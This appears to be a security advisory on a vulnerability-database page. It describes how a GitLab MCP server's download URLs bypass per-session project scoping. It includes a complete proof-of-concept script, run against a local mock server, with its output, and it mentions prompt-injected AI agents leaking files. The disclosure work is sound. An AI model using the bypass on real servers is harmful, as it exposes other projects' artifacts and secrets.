
Cloud Vulnerability DB
A community-led vulnerabilities database
With REMOTE_AUTHORIZATION=true and ENABLE_DYNAMIC_PROJECT_SCOPE=true, a session can narrow its project access with the X-GitLab-Allowed-Project-Ids header. The documentation says the resulting scope "behaves exactly like GITLAB_ALLOWED_PROJECT_IDS for that session".
In remote mode, download_job_artifacts, download_attachment and download_release_asset return a self-contained capability URL (/downloads/:type?...&_token=<sealed credential>). That path never applies the session scope:
project_id straight to buildDownloadUrl() without calling getEffectiveProjectId(). No allowlist is checked at all, not even GITLAB_ALLOWED_PROJECT_IDS./downloads/:type proxy runs outside sessionAuthStore, and the sealed token does not carry the session scope. getEffectiveProjectId() therefore falls back to the process-wide GITLAB_ALLOWED_PROJECT_IDS.
As a result, a session scoped to project A can download CI job artifacts, uploads and release assets from:GITLAB_ALLOWED_PROJECT_IDS is unset, orGITLAB_ALLOWED_PROJECT_IDS, when it is set.
The returned URL needs no authentication header. It can be reused and handed to anyone until it expires (300 seconds by default).79fef14 introduced ENABLE_DYNAMIC_PROJECT_SCOPE) through v2.3.7 / main@672f75aSTREAMABLE_HTTP=true (or SSE), REMOTE_AUTHORIZATION=true, ENABLE_DYNAMIC_PROJECT_SCOPE=trueIn remote mode, the handlers at index.ts:14446 (download_job_artifacts), index.ts:15053 (download_attachment, non-image files) and index.ts:15229 (download_release_asset) mint the URL directly:
// index.ts:14456
const downloadUrl = buildDownloadUrl("job-artifacts", { project_id, job_id });Every other project-scoped tool goes through getEffectiveProjectId() (index.ts:2490). That function reads the session scope from sessionAuthStore through getEffectiveAllowedProjectIds() (index.ts:2095) and throws ProjectAccessDeniedError. These three remote branches skip it.
buildDownloadUrl() (index.ts:76) seals only the auth header, token, API URL and resource:
// index.ts:94
url.searchParams.set("_token", createDownloadToken(ctx.header, headerValue, apiUrl, resource));The payload in utils/download-token.ts:50-56 has the fields h, t, e, u, r and p. Here p holds the resource params, which prevent URL tampering. It is not a project allowlist. ctx.allowedProjectIds is dropped at this point.
/downloads/:type (downloads/proxy.ts:69) is a plain Express route that does not run inside sessionAuthStore.run(). It calls deps.getEffectiveProjectId() at downloads/proxy.ts:151, :161 and :175. That dependency is injected by buildDownloadProxyDeps() at index.ts:15898. With no store, getEffectiveAllowedProjectIds() returns GITLAB_ALLOWED_PROJECT_IDS:
// index.ts:2095
function getEffectiveAllowedProjectIds(): string[] {
if (ENABLE_DYNAMIC_PROJECT_SCOPE) {
const ctx = sessionAuthStore.getStore(); // undefined in the proxy
if (ctx?.allowedProjectIds && ctx.allowedProjectIds.length > 0) {
return ctx.allowedProjectIds;
}
}
return GITLAB_ALLOWED_PROJECT_IDS; // env-only fallback
}GITLAB_ALLOWED_PROJECT_IDS | Session scope | Target project | Issuance | Redemption | Result |
|---|---|---|---|---|---|
| unset | 1 | 2 | succeeds | HTTP 200 | data disclosed |
1,2 | 1 | 2 | succeeds | HTTP 200 | data disclosed |
1 | 1 | 2 | succeeds | HTTP 403 | blocked by env allowlist |
| The third row shows two things. Issuance always succeeds, and redemption enforces only the environment allowlist. |
getEffectiveProjectId(project_id) before buildDownloadUrl() and use the returned value. The handler already runs inside the session context. This alone stops the PoC, because the token is bound to the resource params and project_id cannot be changed at redemption.getEffectiveAllowedProjectIds() into the download token, and have the proxy check against it instead of the environment value.test/test-dynamic-project-scope.ts. With scope 1, all three download tools must return Access denied for project 2.Environment: Node.js v24.14.0, main@672f75a (v2.3.7), built with npm ci && npm run build. The PoC runs the real build/index.js against a local mock GitLab and contacts no external service. The full script is below.
STREAMABLE_HTTP=true REMOTE_AUTHORIZATION=true ENABLE_DYNAMIC_PROJECT_SCOPE=true \
GITLAB_API_URL=http://127.0.0.1:<mock>/api/v4 GITLAB_TOOLSETS=all node build/index.jsinitialize with Authorization: Bearer <token> and X-GitLab-Allowed-Project-Ids: 1, and keep the returned Mcp-Session-Id.tools/call get_project {"project_id":"2"} returns Access denied. The session scope is active.tools/call download_job_artifacts {"project_id":"2","job_id":"20"} returns a download_url.GET <download_url> with no headers returns HTTP 200 and the project 2 artifact.download_attachment and download_release_asset behave the same way.node poc-download-scope.mjs /path/to/gitlab-mcp[*] session 6ad2f8f3… scoped with X-GitLab-Allowed-Project-Ids: 1
[1] get_project project_id=2 -> isError=true: Access denied: Project 2 is not in the allowed project list: 1
[2] download_job_artifacts project_id=2 -> capability issued: http://127.0.0.1:37809/downloads/job-artifacts?project_id=2&job_id=20&_token=<sealed>
[3] GET download_url (no headers) -> HTTP 200, body="SECRET-CI-ARTIFACT-OF-PROJECT-2-JOB-20"
upstream GitLab hit: GET /api/v4/projects/2/jobs/20/artifacts
[2] download_attachment project_id=2 -> capability issued: http://127.0.0.1:37809/downloads/attachment?project_id=2&secret=deadbeef&filename=design.pdf&_token=<sealed>
[3] GET download_url (no headers) -> HTTP 200, body="SECRET-UPLOAD-OF-PROJECT-2"
upstream GitLab hit: GET /api/v4/projects/2/uploads/deadbeef/design.pdf
[2] download_release_asset project_id=2 -> capability issued: http://127.0.0.1:37809/downloads/release-asset?project_id=2&tag_name=v1&direct_asset_path=bin%2Fapp.tar.gz&_token=<sealed>
[3] GET download_url (no headers) -> HTTP 200, body="SECRET-RELEASE-ASSET-OF-PROJECT-2"
upstream GitLab hit: GET /api/v4/projects/2/releases/v1/downloads/bin/app.tar.gz
[!] VULNERABLE: 3/3 out-of-scope downloads succeeded despite session scope "1"<details> <summary>poc-download-scope.mjs</summary>
// PoC: remote download capability URLs ignore the session project allowlist
// (X-GitLab-Allowed-Project-Ids / ENABLE_DYNAMIC_PROJECT_SCOPE).
// Usage: node poc-download-scope.mjs <path-to-gitlab-mcp-repo>
import http from "node:http";
import { spawn } from "node:child_process";
import path from "node:path";
import assert from "node:assert/strict";
const repo = path.resolve(process.argv[2] ?? ".");
const TOKEN = "glpat-poc-session-scope-token"; // server requires >= 20 chars
const SESSION_SCOPE = "1"; // the session is narrowed to project 1 only
// ---- mock GitLab -------------------------------------------------------------
const gitlabLog = [];
const mock = http.createServer((req, res) => {
const u = new URL(req.url, "http://x");
gitlabLog.push(`${req.method} ${u.pathname}`);
const auth = req.headers.authorization ?? "";
if (auth !== `Bearer ${TOKEN}`) {
res.writeHead(401).end();
return;
}
let m;
if (u.pathname === "/api/v4/user") {
return json(res, { id: 1, username: "poc" });
}
if ((m = u.pathname.match(/^\/api\/v4\/projects\/(\d+)$/))) {
return json(res, { id: +m[1], path_with_namespace: `group/project-${m[1]}` });
}
if ((m = u.pathname.match(/^\/api\/v4\/projects\/(\d+)\/jobs\/(\d+)\/artifacts$/))) {
res.writeHead(200, { "content-type": "application/zip" });
return res.end(`SECRET-CI-ARTIFACT-OF-PROJECT-${m[1]}-JOB-${m[2]}`);
}
if ((m = u.pathname.match(/^\/api\/v4\/projects\/(\d+)\/uploads\/([^/]+)\/([^/]+)$/))) {
res.writeHead(200, { "content-type": "application/pdf" });
return res.end(`SECRET-UPLOAD-OF-PROJECT-${m[1]}`);
}
if ((m = u.pathname.match(/^\/api\/v4\/projects\/(\d+)\/releases\/([^/]+)\/downloads\/(.+)$/))) {
res.writeHead(200, { "content-type": "application/octet-stream" });
return res.end(`SECRET-RELEASE-ASSET-OF-PROJECT-${m[1]}`);
}
res.writeHead(404).end("{}");
});
function json(res, body) {
res.writeHead(200, { "content-type": "application/json" }).end(JSON.stringify(body));
}
await new Promise(r => mock.listen(0, "127.0.0.1", r));
const gitlabPort = mock.address().port;
// ---- real gitlab-mcp server --------------------------------------------------
const mcpPort = 30000 + Math.floor(Math.random() * 20000);
const server = spawn(process.execPath, [path.join(repo, "build/index.js")], {
cwd: repo,
env: {
PATH: process.env.PATH,
SYSTEMROOT: process.env.SYSTEMROOT,
STREAMABLE_HTTP: "true",
REMOTE_AUTHORIZATION: "true",
ENABLE_DYNAMIC_PROJECT_SCOPE: "true",
GITLAB_API_URL: `http://127.0.0.1:${gitlabPort}/api/v4`,
GITLAB_TOOLSETS: "all",
HOST: "127.0.0.1",
PORT: String(mcpPort),
// optional extra env, e.g. POC_ENV='{"GITLAB_ALLOWED_PROJECT_IDS":"1,2"}'
...JSON.parse(process.env.POC_ENV ?? "{}"),
},
stdio: ["ignore", "pipe", "pipe"],
});
let serverOut = "";
server.stdout.on("data", d => (serverOut += d));
server.stderr.on("data", d => (serverOut += d));
const cleanup = () => {
server.kill();
mock.close();
};
process.on("exit", cleanup);
const mcpUrl = `http://127.0.0.1:${mcpPort}/mcp`;
for (let i = 0; ; i++) {
try {
await fetch(`http://127.0.0.1:${mcpPort}/health`);
break;
} catch {
if (i > 100) throw new Error("server did not start:\n" + serverOut);
await new Promise(r => setTimeout(r, 200));
}
}
// ---- minimal Streamable HTTP MCP client --------------------------------------
let sessionId;
let rpcId = 0;
async function rpc(method, params, notify = false) {
const headers = {
"content-type": "application/json",
accept: "application/json, text/event-stream",
authorization: `Bearer ${TOKEN}`,
"x-gitlab-allowed-project-ids": SESSION_SCOPE,
};
if (sessionId) headers["mcp-session-id"] = sessionId;
const body = notify
? { jsonrpc: "2.0", method, params }
: { jsonrpc: "2.0", id: ++rpcId, method, params };
const res = await fetch(mcpUrl, { method: "POST", headers, body: JSON.stringify(body) });
sessionId ??= res.headers.get("mcp-session-id");
if (notify) return;
const text = await res.text();
const payload = res.headers.get("content-type")?.includes("text/event-stream")
? text
.split("\n")
.filter(l => l.startsWith("data:"))
.map(l => JSON.parse(l.slice(5)))
.find(m => m.id === rpcId)
: JSON.parse(text);
if (payload.error) throw new Error(JSON.stringify(payload.error));
return payload.result;
}
const callTool = async (name, args) => {
const r = await rpc("tools/call", { name, arguments: args });
return { isError: r.isError === true, text: r.content?.[0]?.text ?? "" };
};
await rpc("initialize", {
protocolVersion: "2025-03-26",
capabilities: {},
clientInfo: { name: "poc", version: "1" },
});
await rpc("notifications/initialized", {}, true);
console.log(`[*] session ${sessionId?.slice(0, 8)}… scoped with X-GitLab-Allowed-Project-Ids: ${SESSION_SCOPE}`);
// ---- 1. control: the session scope IS enforced for normal tools --------------
const ctrl = await callTool("get_project", { project_id: "2" });
console.log(`[1] get_project project_id=2 -> isError=${ctrl.isError}: ${ctrl.text.slice(0, 110)}`);
assert.equal(ctrl.isError, true);
assert.match(ctrl.text, /Access denied/);
// ---- 2. bug: download tools issue capabilities for out-of-scope project 2 ----
const cases = [
["download_job_artifacts", { project_id: "2", job_id: "20" }, "SECRET-CI-ARTIFACT-OF-PROJECT-2-JOB-20"],
["download_attachment", { project_id: "2", secret: "deadbeef", filename: "design.pdf" }, "SECRET-UPLOAD-OF-PROJECT-2"],
["download_release_asset", { project_id: "2", tag_name: "v1", direct_asset_path: "bin/app.tar.gz" }, "SECRET-RELEASE-ASSET-OF-PROJECT-2"],
];
let leaked = 0;
for (const [tool, args, secret] of cases) {
const r = await callTool(tool, args);
if (r.isError) {
console.log(`[2] ${tool} -> refused: ${r.text.slice(0, 100)}`);
continue;
}
const { download_url } = JSON.parse(r.text);
console.log(`[2] ${tool} project_id=2 -> capability issued: ${download_url.replace(/_token=[^&]+/, "_token=<sealed>")}`);
// ---- 3. redeem with NO auth headers at all ---------------------------------
const before = gitlabLog.length;
const dl = await fetch(download_url);
const body = await dl.text();
console.log(`[3] GET download_url (no headers) -> HTTP ${dl.status}, body="${body}"`);
console.log(` upstream GitLab hit: ${gitlabLog.slice(before).join(", ")}`);
if (dl.status === 200 && body === secret) leaked++;
}
console.log(
leaked > 0
? `\n[!] VULNERABLE: ${leaked}/${cases.length} out-of-scope downloads succeeded despite session scope "${SESSION_SCOPE}"`
: `\n[+] not vulnerable: all out-of-scope downloads were refused`
);
cleanup();
process.exit(leaked > 0 ? 1 : 0);</details>
ENABLE_DYNAMIC_PROJECT_SCOPE lets a gateway or orchestrator hold one broader token and narrow each session, typically one AI agent task, to specific projects. This bug lets a client inside the session read data outside that scope. The ceiling is whatever the token can access in GitLab..env files, deployment configuration, and sometimes secrets./uploads/:secret/:filename). The secret is required, but it usually appears in issue or MR bodies.MAX_REQUESTS_PER_MINUTE). A prompt-injected agent only has to post the URL in a comment on an in-scope project, or pass it to any HTTP client, for an outside party to download out-of-scope files.ENABLE_DYNAMIC_PROJECT_SCOPE enabled are affected. It is off by default.GITLAB_ALLOWED_PROJECT_IDS is set, the bypass reaches only other projects on that list. When it is unset, it reaches every project the token can see.p field of the sealed session id, is expected to be affected too, since it uses the same unchecked buildDownloadUrl() path. It was not tested.Source: NVD
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."